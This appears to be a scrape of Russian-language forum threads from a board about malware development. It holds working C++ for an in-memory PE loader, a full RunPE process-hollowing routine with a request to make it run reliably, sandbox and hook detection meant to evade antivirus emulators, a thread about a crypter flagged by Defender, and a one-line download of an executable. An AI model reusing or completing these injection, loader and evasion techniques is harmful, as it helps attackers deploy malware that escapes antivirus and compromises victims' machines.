            DWORD error = GetLastError();
            printf("Func not found: %d\n", error);

            // обработка ошибки
        }
        return funcAddr;
    }
}


PIMAGE_BASE_RELOCATION GetRelocationEnd(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
    DWORD_PTR relocationStart = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    DWORD relocationSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
    return (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pBase + relocationStart + relocationSize);
}

PIMAGE_BASE_RELOCATION GetBaseRelocation(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
    if ((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
        return NULL;
    }

    return (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
}

PIMAGE_TLS_DIRECTORY GetTlsDirectory(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
    return (PIMAGE_TLS_DIRECTORY)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
}
ULONGLONG getEntryPoint(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
    return ntHeaders->OptionalHeader.AddressOfEntryPoint;
}
DWORD GetExportedFunctionCount(LPCWSTR dllName) {
    HMODULE hDll = LoadLibraryExW(dllName, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!hDll) {
        return 0;
    }

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hDll;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hDll + pDosHeader->e_lfanew);
    if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0) {
        FreeLibrary(hDll);
        return 0;
    }

    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hDll + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    DWORD functionCount = pExportDir->NumberOfFunctions;
    FreeLibrary(hDll);
    return functionCount;
}

PVOID loadPe(BYTE* peImageBuffer) {
    DWORD secp2vmemp[2][2][2] = {
        {{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}},
        {{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}}
    };

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peImageBuffer;
    PIMAGE_NT_HEADERS ntHeaders = GetNtHeaders(peImageBuffer);

    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE || (dosHeader->e_lfanew % sizeof(DWORD)) != 0) {
        return NULL;
    }
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return NULL;
    }

    if (!ntHeaders->OptionalHeader.AddressOfEntryPoint ||
            !ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) {
        return NULL;
    }

    LPVOID pBase = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pBase) {
        printf("Failed to allocate memory\n");
        return NULL;
    }
    if ((DWORD_PTR)pBase % ntHeaders->OptionalHeader.SectionAlignment != 0) {
        printf("VirtualAlloc returned unaligned address\n");
        VirtualFree(pBase, 0, MEM_RELEASE);
        return NULL;
    }

    _memcpy(pBase, peImageBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);
    PIMAGE_SECTION_HEADER firstSectionHeader = GetFirstSectionHeader(peImageBuffer);
    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if (firstSectionHeader[i].SizeOfRawData <= firstSectionHeader[i].Misc.VirtualSize) {
            _memcpy((BYTE*)pBase + firstSectionHeader[i].VirtualAddress,
                    peImageBuffer + firstSectionHeader[i].PointerToRawData,
                    firstSectionHeader[i].SizeOfRawData);
        } else {
            printf("SizeOfRawData is greater than the size of the section in the file.\n"); //todo: fix
            _memcpy((BYTE*)pBase + firstSectionHeader[i].VirtualAddress,
                    peImageBuffer + firstSectionHeader[i].PointerToRawData,
                    firstSectionHeader[i].SizeOfRawData);
        }
    }

    if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) {
        PIMAGE_IMPORT_DESCRIPTOR pImport = GetImportDescriptor(pBase, ntHeaders);
        while (pImport->Name) {
            WCHAR wDllName[MAX_PATH];
            MultiByteToWideChar(CP_UTF8, 0, (LPCCH)((DWORD_PTR)pBase + pImport->Name), -1, wDllName, MAX_PATH);
            HMODULE hDll = LoadLibraryW(wDllName);
            if (!hDll) {
                printf("dll not load!\n");
            }

            if (hDll) {
                DWORD exportCount = GetExportedFunctionCount(wDllName);
                DWORD importCount = 0;
                PIMAGE_THUNK_DATA pThunk = GetThunkData(pBase, pImport, true);
                PIMAGE_THUNK_DATA pFunc = GetThunkData(pBase, pImport, false);

                if (!pImport->OriginalFirstThunk) {
                    pThunk = pFunc;
                }

                for (; pThunk->u1.AddressOfData; ++pFunc, ++pThunk) {
                    importCount++;
                }

                if (importCount > exportCount) {
                    printf("Too many functions imported!\n");
                }

                for (; pThunk->u1.AddressOfData; ++pFunc, ++pThunk) {
                    FARPROC funcAddr = GetFunction(hDll, pThunk, pBase);
                    if (!funcAddr) {
                        DWORD error = GetLastError();
                        // обработка ошибки
                    }
                    pFunc->u1.Function = (ULONGLONG)funcAddr;
                }
            }
            loadedDlls.push_back(wDllName);

            ++pImport;
        }
    }
    PIMAGE_BASE_RELOCATION curReloc = GetBaseRelocation(pBase, ntHeaders);
    while (curReloc < GetRelocationEnd(pBase, ntHeaders) && curReloc->VirtualAddress) {
        DWORD count = curReloc->SizeOfBlock / sizeof(WORD);
        PDWORD curEntry = (PDWORD)(curReloc + 1);
        DWORD_PTR pageVA = (DWORD_PTR)pBase + curReloc->VirtualAddress;

        if ((DWORD_PTR)curReloc + curReloc->SizeOfBlock > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
            printf("Relocation block is out of bounds\n");
        }

        for (; count; ++curEntry, --count) {
            DWORD Type = *curEntry >> 16;
            DWORD Offset = *curEntry & 0xFFFF;
            if (Type == IMAGE_REL_BASED_DIR64) {
                if (pageVA + Offset > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
                    printf("Relocation entry is out of bounds\n");
                    return NULL;
                }
                PDWORD64 dest = (PDWORD64)(pageVA + Offset);
                *dest += (DWORD64)pBase - ntHeaders->OptionalHeader.ImageBase;
            } else if (Type == IMAGE_REL_BASED_HIGHLOW) {
                if (pageVA + Offset > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
                    printf("Relocation entry is out of bounds\n");
                    return NULL;
                }
                PDWORD dest = (PDWORD)(pageVA + Offset);
                *dest += (DWORD)pBase - ntHeaders->OptionalHeader.ImageBase;
            }
        }
        curReloc = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)curReloc + curReloc->SizeOfBlock);
    }

    DWORD dwOldProtect;
    BOOL bProtect = VirtualProtect(pBase, ntHeaders->OptionalHeader.SizeOfImage, PAGE_READWRITE, &dwOldProtect);
    if (!bProtect) {
        DWORD dwLastError = GetLastError();
        printf("Failed to set memory protection: %d\n", dwLastError);
    } else {
        printf("Memory protection changed successfully\n");
    }

    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if (firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
            VirtualFree((LPVOID)((DWORD_PTR)pBase + firstSectionHeader[i].VirtualAddress),
                        firstSectionHeader[i].Misc.VirtualSize,
                        MEM_DECOMMIT);
            continue;
        }

        DWORD_PTR vmemp = secp2vmemp[!!(firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)]
                          [!!(firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)]
                          [!!(firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE)];

        if (firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
            vmemp |= PAGE_NOCACHE;
        }
        DWORD sectionSize = firstSectionHeader[i].SizeOfRawData;

        BOOL bProtect = VirtualProtect((LPVOID)((DWORD_PTR)pBase + firstSectionHeader[i].VirtualAddress),
                                       sectionSize,
                                       PAGE_EXECUTE_READWRITE,
                                       &dwOldProtect);
        if (!bProtect) {
            DWORD dwLastError = GetLastError();
            printf("Failed to set memory protection for section %d: %d\n", i, dwLastError);
        }
    }

    auto err = GetLastError();

    if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) {
        PIMAGE_TLS_DIRECTORY pTls = GetTlsDirectory(pBase, ntHeaders);
        PIMAGE_TLS_CALLBACK* pCallback = (PIMAGE_TLS_CALLBACK*)pTls->AddressOfCallBacks;
        if (pCallback) {
            for (; *pCallback; ++pCallback) {
                (*pCallback)((LPVOID)pBase, DLL_PROCESS_ATTACH, NULL);
            }
        }
    }

    // получаем адрес функции входной точки
    ULONGLONG dwEntry = getEntryPoint(pBase, ntHeaders);
    if (dwEntry == 0) {
        printf("Invalid entry point\n");
        VirtualFree(pBase, 0, MEM_RELEASE);
        return NULL;
    }

    // проверяем, что функция входной точки существует и не является нулевой
    if ((DWORD_PTR)pBase + dwEntry > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
        printf("Invalid entry point\n");
        VirtualFree(pBase, 0, MEM_RELEASE);
        return NULL;
    }

    peSize = ntHeaders->OptionalHeader.SizeOfImage;


    return (LPVOID)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
}

void* load_file_to_memory(const char* filename) {
    HANDLE hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        return NULL;
    }

    DWORD dwFileSize = GetFileSize(hFile, NULL);

    if (dwFileSize == INVALID_FILE_SIZE) {
        CloseHandle(hFile);
        return NULL;
    }

    LPVOID lpFileData = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);

    if (lpFileData == NULL) {
        CloseHandle(hFile);
        return NULL;
    }

    DWORD dwBytesRead;

    if (!ReadFile(hFile, lpFileData, dwFileSize, &dwBytesRead, NULL)) {
        CloseHandle(hFile);
        VirtualFree(lpFileData, 0, MEM_RELEASE);
        return NULL;
    }

    CloseHandle(hFile);

    return lpFileData;
}

int main() {
    void* file_data = load_file_to_memory("C:\\work\\ConsoleApplication1_messagebox_64.exe");

    if (file_data == NULL) {
        printf("Failed to load file\n");
        return 1;
    }

    LPVOID pBase = loadPe(reinterpret_cast<BYTE*>(file_data));
    if (pBase == NULL) {
        printf("Failed to load PE\n");
        return 1;
    }
    if (memcmp(file_data, pBase, peSize) == 0) {
        printf("File and memory contents are identical\n");
    } else {
        printf("File and memory contents are not identical\n");
    }

    // вызываем функцию входной точки
    typedef int(*EntryPointFunction)();
    auto addr = (DWORD_PTR)pBase;
    EntryPointFunction entryPoint = (EntryPointFunction)(addr);

    ExitProcess(0);

}
RunPE работает через раз
ID: 6765d804b4103b69df3757f3
Thread ID: 85677
Created: 2023-04-11T14:04:08+0000
Last Post: 2023-04-28T04:03:45+0000
Author: UMF
Replies: 27 Views: 2K

Доброго времени суток. Прошу помочь разобраться. Есть кодес рунпе, срабатывает через раз.

C:Copy to clipboard

BOOL RunPE(PWCHAR szFilePath, PWCHAR szCommandLine, PVOID pFile)
{
    typedef LONG (WINAPI *TD_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

    BOOL bResult;
    PIMAGE_DOS_HEADER IDH;     
    PIMAGE_NT_HEADERS INH;     
    PIMAGE_SECTION_HEADER ISH;
    PROCESS_INFORMATION PI;   
    LPSTARTUPINFOW SI;           
    PCONTEXT CTX;             
    PDWORD dwImageBase;       
    LPVOID pImageBase;       
    DWORD SizeOfInject;
    int Count;     
    TD_NtUnmapViewOfSection NtUnmapViewOfSection;
    HANDLE hPToken;
    HANDLE hDupToken;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hPToken);
    DuplicateTokenEx(hPToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&hDupToken);
    IDH = (PIMAGE_DOS_HEADER)pFile;
    if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
    {
        INH = (PIMAGE_NT_HEADERS)((DWORD)(pFile) + IDH->e_lfanew);
        if (INH->Signature == IMAGE_NT_SIGNATURE)
        {
            SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
            if (CreateProcessAsUserW(hDupToken, szFilePath, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, SI, &PI))
            {
                CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, (LPCONTEXT)CTX))
                {
                    ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
                    if ((DWORD)(dwImageBase) == INH->OptionalHeader.ImageBase)
                    {
                        NtUnmapViewOfSection = (TD_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
                        NtUnmapViewOfSection(PI.hProcess, (PVOID)INH->OptionalHeader.ImageBase);
                    }
                    INH->OptionalHeader.SizeOfStackCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfStackReserve = 0x00200000;
                    INH->OptionalHeader.SizeOfHeapCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfHeapReserve = 0x00200000;
                    SizeOfInject = INH->OptionalHeader.SizeOfImage;
                    pImageBase = VirtualAllocEx(PI.hProcess, (LPVOID)(INH->OptionalHeader.ImageBase), SizeOfInject, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 0x3000
                    if (pImageBase)
                    {
                        WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
                        ResumeThread(PI.hThread);
                        bResult = TRUE;
                    }
                    else
                    {
                        TerminateProcess(PI.hProcess, 0);
                        bResult = FALSE;
                    }
                }
                VirtualFree(CTX, 0, MEM_RELEASE);
            }
            VirtualFree(SI, 0, MEM_RELEASE);
        }
    }
    CloseHandle(hPToken);
    CloseHandle(hDupToken);
    VirtualFree(pFile, 0, MEM_RELEASE);
    return bResult;
}

можно сделать так

C:Copy to clipboard

            if (data[0] == 0x4D)
            {
                while(1)
                {
                    if (RunPE(szInjectPath, szSourcePath, data) == TRUE)
                    {
                        goto _next;
                    }
                }
            }
            _next:
            ExitProcess(0);

срабатывает в 9/10 случаев... как это сделать чтобы срабатывало сразу, где косяк?

[вопрос] уменьшение размера ехе в visual studio
ID: 6765d804b4103b69df375816
Thread ID: 77880
Created: 2022-12-11T17:37:32+0000
Last Post: 2023-03-04T01:19:01+0000
Author: versal
Replies: 9 Views: 2K

Доброго времени суток. Ситуация следующая: пробую написать простейшую программу, которая использует стандартные библиотеки с++:
#include<windows.h>
#include
#include
#include<Tchar.h>

При компиляции выбираю:
RG4ff.jpgи немного недоволен, что получившийся размер программы чуть больше мегабайта. В связи с этим вопрос, какие есть методы уменьшения веса бинарника?

Проверка на хуки против песочниц и эмуляторов
ID: 6765d804b4103b69df375818
Thread ID: 77480
Created: 2022-12-06T11:01:09+0000
Last Post: 2023-03-01T11:25:40+0000
Author: cppjunior
Replies: 18 Views: 2K

На сколько целесообразно проверять определенные апи на хуки и детектить песочницу или эмулятор ав?
Как вообще можно задетектить ав песочницу?
Код как пример пример.

C++:Copy to clipboard

FARPROC Address = GetProcAddressBy(GetModuleHandle("kernel32.dll"),"Sleep");
if (*(BYTE*)Address == 0xE9 || *(BYTE*)Address == 0x90 || *(BYTE*)Address == 0xC3)
{
 printf("Sleep hooked\n");
}

P.S Возможно есть другой какой то метод детектить хуки, буду благодарен если подскажите как лучше.

Защита приложения на C# (winform)
ID: 6765d804b4103b69df375835
Thread ID: 76083
Created: 2022-11-17T17:42:24+0000
Last Post: 2023-01-10T14:07:01+0000
Author: uglydavidka
Replies: 38 Views: 2K

Научите, добрые люди. Хочу защитить свое приложение от дампа

c++ Апфускация бинарника.
ID: 6765d804b4103b69df375ab8
Thread ID: 33898
Created: 2019-12-17T20:18:41+0000
Last Post: 2019-12-17T21:53:05+0000
Author: VarsaYT
Replies: 5 Views: 2K

Как вобше это устроено? , ну смотрите с java/C# , особо проблем думаю не будет, тобить просто переминовать переменые, и добавить пару доп классов которые данные через себя пропускать будут ,ну и коечто можно засчет каконибуть симетричного шифра накрыть, а вот с бинарнком хз подскажите.

Windows 10 System Programming Part 2
ID: 6765d804b4103b69df375846
Thread ID: 60729
Created: 2021-12-31T17:34:49+0000
Last Post: 2022-12-19T12:55:34+0000
Author: varwar
Prefix: Мануал/Книга
Replies: 10 Views: 2K

Появилась вторая часть книги от Павла Йосифовича.

[ Library Genesis

](http://libgen.gs/ads.php?md5=3f2b8ba37f7f383c1ee7a89d5faf594f)

libgen.gs libgen.gs

C содержанием можно ознакомиться по ссылке ниже.

leanpub.com

[ Windows 10 System Programming, Part 2

](https://leanpub.com/windows10systemprogrammingpart2)

null

leanpub.com leanpub.com

Всех с Наступающим и уже наступившим Новым Годом!

Как скачать файл на рабочий стол? C++
ID: 6765d804b4103b69df37584f
Thread ID: 76834
Created: 2022-11-28T07:01:07+0000
Last Post: 2022-12-07T08:10:45+0000
Author: uglydavidka
Replies: 17 Views: 2K

URLDownloadToFileA(nullptr, "ссылка", "Путь до рабочего стола\\aaa.exe", 0, nullptr);

Детект от дефендера
ID: 6765d804b4103b69df375873
Thread ID: 73627
Created: 2022-09-26T00:14:09+0000
Last Post: 2022-11-03T19:04:06+0000
Author: D0gger
Replies: 37 Views: 2K

1664151071931.png
в процессе написания криптора столкнулся с этим детектом, не каким образом снять не получается. Из за чего идёт этот детект, и как от него избавится?

МФТИ - базовый курс по С++ [RUS]
ID: 6765d804b4103b69df375891
Thread ID: 66522
Created: 2022-05-03T09:39:20+0000
Last Post: 2022-09-06T06:30:21+0000
Author: DildoFagins
Prefix: Видео
Replies: 22 Views: 2K

Курс для сравнительных новичков, большой и довольно неплохой на первый взгляд, может кому пригодится:

https://youtube.com/playlist?list=PL3BR09unfgciJ1_K_E914nohpiOiHnpsK

История одной структуры
ID: 6765d804b4103b69df3758c0
Thread ID: 67784
Created: 2022-05-28T15:03:16+0000
Last Post: 2022-05-28T16:37:59+0000
Author: varwar
Prefix: Статья
Replies: 5 Views: 2K

"Ребята, не стоит вскрывать эту тему" - подумали системщики из Мелкософт, раскрыв в Windows 11 полный список "классов" для NtQuerySystemInformation, а именно через публичные символы структуру _SYSTEM_INFORMATION_CLASS.

Spoiler: SystemInformationClass

Code:Copy to clipboard

lkd> dt nt!_SYSTEM_INFORMATION_CLASS
   SystemBasicInformation = 0n0
   SystemProcessorInformation = 0n1
   SystemPerformanceInformation = 0n2
   SystemTimeOfDayInformation = 0n3
   SystemPathInformation = 0n4
   SystemProcessInformation = 0n5
   SystemCallCountInformation = 0n6
   SystemDeviceInformation = 0n7
   SystemProcessorPerformanceInformation = 0n8
   SystemFlagsInformation = 0n9
   SystemCallTimeInformation = 0n10
   SystemModuleInformation = 0n11
   SystemLocksInformation = 0n12
   SystemStackTraceInformation = 0n13
   SystemPagedPoolInformation = 0n14
   SystemNonPagedPoolInformation = 0n15
   SystemHandleInformation = 0n16
   SystemObjectInformation = 0n17
   SystemPageFileInformation = 0n18
   SystemVdmInstemulInformation = 0n19
   SystemVdmBopInformation = 0n20
   SystemFileCacheInformation = 0n21
   SystemPoolTagInformation = 0n22
   SystemInterruptInformation = 0n23
   SystemDpcBehaviorInformation = 0n24
   SystemFullMemoryInformation = 0n25
   SystemLoadGdiDriverInformation = 0n26
   SystemUnloadGdiDriverInformation = 0n27
   SystemTimeAdjustmentInformation = 0n28
   SystemSummaryMemoryInformation = 0n29
   SystemMirrorMemoryInformation = 0n30
   SystemPerformanceTraceInformation = 0n31
   SystemObsolete0 = 0n32
   SystemExceptionInformation = 0n33
   SystemCrashDumpStateInformation = 0n34
   SystemKernelDebuggerInformation = 0n35
   SystemContextSwitchInformation = 0n36
   SystemRegistryQuotaInformation = 0n37
   SystemExtendServiceTableInformation = 0n38
   SystemPrioritySeperation = 0n39
   SystemVerifierAddDriverInformation = 0n40
   SystemVerifierRemoveDriverInformation = 0n41
   SystemProcessorIdleInformation = 0n42
   SystemLegacyDriverInformation = 0n43
   SystemCurrentTimeZoneInformation = 0n44
   SystemLookasideInformation = 0n45
   SystemTimeSlipNotification = 0n46
   SystemSessionCreate = 0n47
   SystemSessionDetach = 0n48
   SystemSessionInformation = 0n49
   SystemRangeStartInformation = 0n50
   SystemVerifierInformation = 0n51
   SystemVerifierThunkExtend = 0n52
   SystemSessionProcessInformation = 0n53
   SystemLoadGdiDriverInSystemSpace = 0n54
   SystemNumaProcessorMap = 0n55
   SystemPrefetcherInformation = 0n56
   SystemExtendedProcessInformation = 0n57
   SystemRecommendedSharedDataAlignment = 0n58
   SystemComPlusPackage = 0n59
   SystemNumaAvailableMemory = 0n60
   SystemProcessorPowerInformation = 0n61
   SystemEmulationBasicInformation = 0n62
   SystemEmulationProcessorInformation = 0n63
   SystemExtendedHandleInformation = 0n64
   SystemLostDelayedWriteInformation = 0n65
   SystemBigPoolInformation = 0n66
   SystemSessionPoolTagInformation = 0n67
   SystemSessionMappedViewInformation = 0n68
   SystemHotpatchInformation = 0n69
   SystemObjectSecurityMode = 0n70
   SystemWatchdogTimerHandler = 0n71
   SystemWatchdogTimerInformation = 0n72
   SystemLogicalProcessorInformation = 0n73
   SystemWow64SharedInformationObsolete = 0n74
   SystemRegisterFirmwareTableInformationHandler = 0n75
   SystemFirmwareTableInformation = 0n76
   SystemModuleInformationEx = 0n77
   SystemVerifierTriageInformation = 0n78
   SystemSuperfetchInformation = 0n79
   SystemMemoryListInformation = 0n80
   SystemFileCacheInformationEx = 0n81
   SystemThreadPriorityClientIdInformation = 0n82
   SystemProcessorIdleCycleTimeInformation = 0n83
   SystemVerifierCancellationInformation = 0n84
   SystemProcessorPowerInformationEx = 0n85
   SystemRefTraceInformation = 0n86
   SystemSpecialPoolInformation = 0n87
   SystemProcessIdInformation = 0n88
   SystemErrorPortInformation = 0n89
   SystemBootEnvironmentInformation = 0n90
   SystemHypervisorInformation = 0n91
   SystemVerifierInformationEx = 0n92
   SystemTimeZoneInformation = 0n93
   SystemImageFileExecutionOptionsInformation = 0n94
   SystemCoverageInformation = 0n95
   SystemPrefetchPatchInformation = 0n96
   SystemVerifierFaultsInformation = 0n97
   SystemSystemPartitionInformation = 0n98
   SystemSystemDiskInformation = 0n99
   SystemProcessorPerformanceDistribution = 0n100
   SystemNumaProximityNodeInformation = 0n101
   SystemDynamicTimeZoneInformation = 0n102
   SystemCodeIntegrityInformation = 0n103
   SystemProcessorMicrocodeUpdateInformation = 0n104
   SystemProcessorBrandString = 0n105
   SystemVirtualAddressInformation = 0n106
   SystemLogicalProcessorAndGroupInformation = 0n107
   SystemProcessorCycleTimeInformation = 0n108
   SystemStoreInformation = 0n109
   SystemRegistryAppendString = 0n110
   SystemAitSamplingValue = 0n111
   SystemVhdBootInformation = 0n112
   SystemCpuQuotaInformation = 0n113
   SystemNativeBasicInformation = 0n114
   SystemErrorPortTimeouts = 0n115
   SystemLowPriorityIoInformation = 0n116
   SystemBootEntropyInformation = 0n117
   SystemVerifierCountersInformation = 0n118
   SystemPagedPoolInformationEx = 0n119
   SystemSystemPtesInformationEx = 0n120
   SystemNodeDistanceInformation = 0n121
   SystemAcpiAuditInformation = 0n122
   SystemBasicPerformanceInformation = 0n123
   SystemQueryPerformanceCounterInformation = 0n124
   SystemSessionBigPoolInformation = 0n125
   SystemBootGraphicsInformation = 0n126
   SystemScrubPhysicalMemoryInformation = 0n127
   SystemBadPageInformation = 0n128
   SystemProcessorProfileControlArea = 0n129
   SystemCombinePhysicalMemoryInformation = 0n130
   SystemEntropyInterruptTimingInformation = 0n131
   SystemConsoleInformation = 0n132
   SystemPlatformBinaryInformation = 0n133
   SystemPolicyInformation = 0n134
   SystemHypervisorProcessorCountInformation = 0n135
   SystemDeviceDataInformation = 0n136
   SystemDeviceDataEnumerationInformation = 0n137
   SystemMemoryTopologyInformation = 0n138
   SystemMemoryChannelInformation = 0n139
   SystemBootLogoInformation = 0n140
   SystemProcessorPerformanceInformationEx = 0n141
   SystemCriticalProcessErrorLogInformation = 0n142
   SystemSecureBootPolicyInformation = 0n143
   SystemPageFileInformationEx = 0n144
   SystemSecureBootInformation = 0n145
   SystemEntropyInterruptTimingRawInformation = 0n146
   SystemPortableWorkspaceEfiLauncherInformation = 0n147
   SystemFullProcessInformation = 0n148
   SystemKernelDebuggerInformationEx = 0n149
   SystemBootMetadataInformation = 0n150
   SystemSoftRebootInformation = 0n151
   SystemElamCertificateInformation = 0n152
   SystemOfflineDumpConfigInformation = 0n153
   SystemProcessorFeaturesInformation = 0n154
   SystemRegistryReconciliationInformation = 0n155
   SystemEdidInformation = 0n156
   SystemManufacturingInformation = 0n157
   SystemEnergyEstimationConfigInformation = 0n158
   SystemHypervisorDetailInformation = 0n159
   SystemProcessorCycleStatsInformation = 0n160
   SystemVmGenerationCountInformation = 0n161
   SystemTrustedPlatformModuleInformation = 0n162
   SystemKernelDebuggerFlags = 0n163
   SystemCodeIntegrityPolicyInformation = 0n164
   SystemIsolatedUserModeInformation = 0n165
   SystemHardwareSecurityTestInterfaceResultsInformation = 0n166
   SystemSingleModuleInformation = 0n167
   SystemAllowedCpuSetsInformation = 0n168
   SystemVsmProtectionInformation = 0n169
   SystemInterruptCpuSetsInformation = 0n170
   SystemSecureBootPolicyFullInformation = 0n171
   SystemCodeIntegrityPolicyFullInformation = 0n172
   SystemAffinitizedInterruptProcessorInformation = 0n173
   SystemRootSiloInformation = 0n174
   SystemCpuSetInformation = 0n175
   SystemCpuSetTagInformation = 0n176
   SystemWin32WerStartCallout = 0n177
   SystemSecureKernelProfileInformation = 0n178
   SystemCodeIntegrityPlatformManifestInformation = 0n179
   SystemInterruptSteeringInformation = 0n180
   SystemSupportedProcessorArchitectures = 0n181
   SystemMemoryUsageInformation = 0n182
   SystemCodeIntegrityCertificateInformation = 0n183
   SystemPhysicalMemoryInformation = 0n184
   SystemControlFlowTransition = 0n185
   SystemKernelDebuggingAllowed = 0n186
   SystemActivityModerationExeState = 0n187
   SystemActivityModerationUserSettings = 0n188
   SystemCodeIntegrityPoliciesFullInformation = 0n189
   SystemCodeIntegrityUnlockInformation = 0n190
   SystemIntegrityQuotaInformation = 0n191
   SystemFlushInformation = 0n192
   SystemProcessorIdleMaskInformation = 0n193
   SystemSecureDumpEncryptionInformation = 0n194
   SystemWriteConstraintInformation = 0n195
   SystemKernelVaShadowInformation = 0n196
   SystemHypervisorSharedPageInformation = 0n197
   SystemFirmwareBootPerformanceInformation = 0n198
   SystemCodeIntegrityVerificationInformation = 0n199
   SystemFirmwarePartitionInformation = 0n200
   SystemSpeculationControlInformation = 0n201
   SystemDmaGuardPolicyInformation = 0n202
   SystemEnclaveLaunchControlInformation = 0n203
   SystemWorkloadAllowedCpuSetsInformation = 0n204
   SystemCodeIntegrityUnlockModeInformation = 0n205
   SystemLeapSecondInformation = 0n206
   SystemFlags2Information = 0n207
   SystemSecurityModelInformation = 0n208
   SystemCodeIntegritySyntheticCacheInformation = 0n209
   SystemFeatureConfigurationInformation = 0n210
   SystemFeatureConfigurationSectionInformation = 0n211
   SystemFeatureUsageSubscriptionInformation = 0n212
   SystemSecureSpeculationControlInformation = 0n213
   SystemSpacesBootInformation = 0n214
   SystemFwRamdiskInformation = 0n215
   SystemWheaIpmiHardwareInformation = 0n216
   SystemDifSetRuleClassInformation = 0n217
   SystemDifClearRuleClassInformation = 0n218
   SystemDifApplyPluginVerificationOnDriver = 0n219
   SystemDifRemovePluginVerificationOnDriver = 0n220
   SystemShadowStackInformation = 0n221
   SystemBuildVersionInformation = 0n222
   SystemPoolLimitInformation = 0n223
   SystemCodeIntegrityAddDynamicStore = 0n224
